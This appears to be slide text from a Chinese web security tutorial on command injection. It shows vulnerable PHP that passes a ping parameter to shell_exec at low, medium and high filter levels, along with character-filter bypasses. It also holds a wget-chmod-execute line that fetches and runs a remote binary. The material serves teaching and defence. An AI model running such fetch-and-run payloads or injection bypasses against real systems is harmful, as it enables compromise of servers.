Web安全基础教程 灯芯@看雪学院
命令注入简介 注入测试
什么是命令注入?? Command injection,即命令注入,是指通过提交恶意构造的参数破坏命令 语句结构,从而达到执行恶意命令的目的。
Wget http://ip/bins/apep.x86 -o /tmp/gayboi Chmod 777 /tmp/gayboi ./tmp/gayboi
LOW 无安全措施,可直接执行 $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); }
MED 过滤了“&&”以及“;”,可简单绕过 $substitutions = array( '&&' => '', ';' => '', ); & |
High $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); “|”是管道符,表示将Command 1的输出作为Command 2的输入, 并且只打印Command 2执行的结果。
Thanks